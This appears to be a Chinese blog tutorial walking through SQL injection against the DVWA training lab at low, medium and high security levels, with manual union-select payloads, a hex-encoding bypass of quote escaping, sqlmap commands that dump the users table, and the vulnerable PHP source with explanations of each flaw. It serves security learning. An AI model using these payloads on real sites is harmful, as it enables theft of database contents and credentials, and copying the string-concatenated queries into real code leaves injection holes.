SQL Injection(SQL注入)+SQLMAP

SQL InjectionSQL注入)

SQL InjectionSQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被脱裤,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

SQL注入流程

拿到一个查询条件的web网页,就需要对输入框做以下的事情

1.判断是否存在注入,注入是字符型还是数字型

这里给大家说一个骚操作,可以直接判断出是字符型还是数字型注入

构造payload为:id=1 order by 9999 --+

用 id=1 order by 9999 --+ 如果有回显的话那它就是字符型注入,无回显就是数字型注入

在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

SQL Injection-LOW:

注入点判断

首先找漏洞点,判断注入的类型。

1
1\
1' #

1 and 1=1#

1 and 1=2# 不是数字型注入

1’ and 1=1#

前三个输入过后页面都会有对应的回显。

1' and 1=2#

输入1' and 1=2# 的时候页面无回显,由此判断是字符型单引号闭合的注入

判断字段

Order by 1,2,3……

由此判断列数为2

获取数据库名

使用union 联合查询 查出库名和版本

1' union select 1,database() from information_schema.schemata #
1' union select database(),version() #

获取表名

1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #

有两张表guestbook,users

获取列名

1' union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

8列,user_idfirst_namelast_nameuserpasswordavatarlast_loginfailed_login

获取数据

1' union select 1,group_concat(user,password) from users #

利用sqlmap工具来实现注入

获取当前库名

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --current-db --batch


获取表名

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --batch -D dvwa --tables

获取列名

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --batch -D dvwa -T users --columns

获取数据

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=p86jop2tpduvf1f5kpp9bapv54" --batch -D dvwa -T users --columns --dump

源码解析

<?php
 
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
 
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
 
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
 
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
 
?> 

主要步骤

isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
得到用户提交的数据 id
利用用户数据拼接成sql语句query
使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
使用mysqli_fetch_assoc函数获取结果集的一行给变量row
使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有进行敏感字符过滤

SQL Injection-MIDIUM

url上没有参数,是post方式,下拉框进行选择,只能抓包了。

注入点判断

payload和LOW级别的Union注入一样

数字型无需闭合

字段判断、获取数据库与LOW一致,不必闭合,由在客户端提交,改为在burpsuite中提交。

例如,数据库判断,其他类似。

id=1 UNION SELECT 1,database() from information_schema.schemata#&Submit=Submit

获取表名

1 UNION SELECT 1,table_name from information_schema.tables where table_schema='dvwa'#

发现单引号被转义了

工具BEJSON,进行字符转16进制,注意,工具没有加0x,需要自行添加。

1 UNION SELECT 1,table_name from information_schema.tables where table_schema=0x64767761#

即'dvwa'转为16进制的dvwa 0x64767761

后序步骤类似,将字符转为16进制即可。

利用sqlmap工具来实现注入

查看接口信息

尝试爆破数据库名称:传参形式以data的形式

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch --dbs

 尝试爆破数据库中表信息

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch -D dvwa --tables

尝试爆破数据库中users表的字段信息

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch -D dvwa -T users --columns

尝试猜解数据库中users的数据内容

sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli/#" --cookie="http://192.168.0.103:8080/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --batch -D dvwa -T users --dump   

源码分析

<?php
 
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
 
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
 
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];
 
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
 
}
 
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
 
mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

步骤

isset检测变量Submit是否已设置并且非 NULL,即判断用户是否点击了Submit按钮。
得到用户提交的数据 id,使用mysqli_real_escape_string函数进行转义
利用用户数据拼接成sql语句query
使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错
使用mysqli_fetch_assoc函数获取结果集的一行给变量row
使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

没有很好的对敏感关键字进行过滤。想要利用mysqli_real_escape_string函数进行敏感字符过滤,但是mysqli_real_escape_string函数并不能过滤一些敏感的关键字(如 and or等),它的功能只是转义一些字符,仅成功过滤了',属于开发者对函数功能了解的不够全,网络安全-php安全知识点中有对该函数的解释。

SQL Injection-HIGH

点击按钮弹出窗口,然后再填写数据。

注入点检测

1' and 1=1#

1' 1=2#

字符型注入,需要闭合,闭合字符为 ' ,当然,在这之前我也尝试了数字型

 字段判断

1'order by 2#

1' order by 3

字段3报错了 字段为2

获取表名

1' UNION SELECT 1,table_name from information_schema.tables where table_schema=database()#

除了有这个单窗之外基本上和low等级一样

利用sqlmap工具来实现注入

1.将DVWA难度调整为high之后,我们可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。原窗口数据包请求方式为get,弹出的输入窗口请求方式为post。

2.这时候我们需要用到联合查询命令‘second-url’。测试语句:

sqlmap -u "[数据提交页面url]" --data "[request]"  --second-u "[数据显示页面url]" --cookie="[站点cookie]" 

这里的表名和数据我就不做演示了

源码分析

<?php
 
if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];
 
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
 
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
 
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
 
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}
 
?> 

主要步骤

isset检测Session中的id变量是否已设置并且非 NULL
得到用户提交的数据 id
利用用户数据拼接成sql语句query,id当做字符串
使用mysqli_query函数执行sql语句并返回结果给result,若出错,使用die函数报错,错误是自定义的
使用mysqli_fetch_assoc函数获取结果集的一行给变量row
使用first、last变量获取row中的first_name、last_name字段,并使用echo打印 用户输入的id和变量first、last

漏洞原因

没有进行预编译

用户数据拼接了代码,没有实现代码、数据分离

想要利用session和自定义错误返回来增加安全系数,成功的躲过了Error注入方式

SQL Injection(Blind)-LOW

DVWA(Impossible)
前面的初、中、高级其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,我们就等有能力了再挣扎吧,目前是无法进行注入的。

我都是看着几位师傅的文章学习的大家可以多多练习

网络安全-靶机dvwa之sql注入Low到High详解(含代码分析)_dvwa sql注入低中高代码分析-CSDN博客

DVWA-SQL Injection 基于sqlmap 注入 - 西夏一品唐 - 博客园 (cnblogs.com)

【手工注入篇】使用 DVWA探寻 SQL 注入攻击 - 橙子全栈测试笔记 - 博客园 (cnblogs.com)

  • 8
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

'陳平安'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值